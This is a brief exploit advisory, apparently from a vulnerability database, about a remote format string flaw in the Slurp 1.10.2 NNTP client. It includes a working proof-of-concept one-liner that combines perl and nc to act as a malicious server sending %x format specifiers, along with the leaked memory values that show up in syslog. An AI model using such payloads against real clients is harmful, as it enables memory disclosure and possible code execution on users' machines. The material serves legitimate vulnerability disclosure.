Monday, February 14, 2022

Slurp 1.10.2 Format String

# Exploit Title: Slurp 1.10.2 - Remote Format String Date: 2022-02-12

# Author: Milad Karimi

slurp is a freely available, open source NNTP client. It is designed for use on most Unix and Linux operating systems.

It may be possible for a remote server to execute code on a vulnerable client. slurp offers functionality that allows the software to write messages to the system log. A format string vulnerability in the syslog function may allow a malicious server to supply a custom format string that writes to an arbitrary address in memory.

perl -e 'print "BY BY BY \n666 %x%x%x\n'" | nc -l -p 112

Then check /var/log/messages for something like:

slurp[39926]: do_newnews: NNTP protocol error: got '666 bfbff4f8804bc1bbfbff51c'

Copyright © 2021 Vulnerability Database | Cyber Details™

thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore